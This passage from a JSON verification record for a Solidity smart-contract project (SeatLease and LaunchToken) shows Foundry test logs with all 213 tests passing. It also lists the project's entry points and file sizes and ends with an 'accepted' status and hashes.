|\n╰-----------------+-------------+-------+---------+----------╯\n\nLogs:\n  Bound result 40960\n  Bound result 1120\n  Bound result 261828379192457323264\n  Bound result 5833\n  Bound result 11\n  Bound result 15651\n  Bound result 3673801565\n  Bound result 8791\n  Bound result 184\n  Bound result 684663900520708534579\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.81s (9.81s CPU time)\n\nRan 8 test suites in 9.81s (11.48s CPU time): 213 tests passed, 0 failed, 0 skipped (213 total tests)\n","passed":true},{"durationMs":52,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":148,\"REVIEW.md\":72,\"foundry.toml\":48,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatLease.sol\":683,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/SeatLease.adversarial.t.sol\":1161,\"test/SeatLease.invariants.t.sol\":238,\"test/SeatLease.lifecycle.t.sol\":633,\"test/SeatLease.rewards.t.sol\":678,\"test/SeatLease.signatures.t.sol\":433,\"test/SeatLease.stateful.t.sol\":484,\"test/utils/Actors.sol\":246,\"test/utils/Base.sol\":191},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"c6c29db8560aff4b562aa446900d54bf36745c2f27dd4d3b13241392592b161e","verifiedTreeHash":"0e352323f18d31dd1798c4dd6d63864d79a07606","verifierVersion":"0.1.0+042c10fc"}]}